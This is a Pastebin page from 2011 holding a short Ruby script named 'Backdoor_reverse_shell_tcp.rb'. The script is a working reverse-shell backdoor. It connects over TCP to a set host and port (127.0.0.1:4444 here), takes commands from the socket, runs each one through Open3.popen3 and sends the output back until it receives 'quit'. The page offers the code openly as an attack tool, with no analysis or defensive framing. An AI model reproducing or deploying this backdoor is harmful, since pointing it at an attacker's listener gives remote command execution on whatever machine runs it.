Advertisement
Guest User

Backdoor_reverse_shell_tcp.rb

a guest
Jul 21st, 2011
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.61 KB | None | 0 0
  1. ################################
  2. #Jalal azedine
  3. #azedinejalal@gmail.com
  4. #http://w3xw3x.blogspot.com
  5. ################################
  6. require 'socket'
  7. require 'open3'
  8. include Socket::Constants
  9.  
  10. host = "127.0.0.1"
  11. port = "4444"
  12.  
  13. sock = Socket.new(AF_INET, SOCK_STREAM, 0)
  14. sockaddr = Socket.pack_sockaddr_in(port, host)
  15. sock.connect(sockaddr)
  16. sock.send("Connection Established !!\n",0)
  17.  
  18. while 1
  19.     data = sock.recv(1024)
  20.     break if data == "quit\n"
  21.     i, out, error, wait_thr = Open3.popen3(data)
  22.     std_out = out.read
  23.     std_err = error.read
  24.     sock.send(std_out, 0)
  25.     sock.send(std_err, 0)
  26.  
  27. end #while
  28. sock.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement